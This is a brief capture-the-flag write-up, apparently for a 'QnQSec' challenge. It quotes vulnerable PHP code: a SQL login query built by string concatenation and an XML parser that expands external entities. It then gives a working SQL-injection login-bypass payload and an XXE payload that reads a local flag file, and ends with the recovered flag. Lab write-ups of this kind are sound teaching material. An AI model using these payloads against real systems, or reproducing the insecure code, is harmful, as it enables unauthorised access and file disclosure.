Recon & Source Review#

1
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

1
$dom->resolveExternals = true;
2
$dom->substituteEntities = true;
3
$dom->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NOENT);
4
echo $dom->saveXML();

1
COPY flag.txt /var/flags/flag.txt

Step 1 - Authentication Bypass (SQLi)#

Using a simple payload in the username field:

1
' OR '1'='1' #

The query becomes:

1
SELECT * FROM users WHERE username = '' OR '1'='1' # ' AND password = 'x'

This always returns a row, setting $_SESSION['logged_in'] = true. We are now authenticated.

Step 2 - XXE Exploitation#

The XML parser expands external entities. We craft a malicious XML to read local files:

1
<?xml version="1.0"?>
2
<!DOCTYPE root [
3
  <!ENTITY xxe SYSTEM "file:///var/flags/flag.txt">
4
]>
5
<root>&xxe;</root>

Step 3 - Extracting the Flag#

Send a POST request to /api with the XML content and the flag appears in the response.

Flag#

1
QnQSec{R3v3ng3_15_sw33t_wh3ne_d0n3_r1ght}

Conclusion#

• Vulnerability 1: SQL Injection in login -> session bypass
• Vulnerability 2: XXE in XML parser -> arbitrary file read
• Flag Path: /var/flags/flag.txt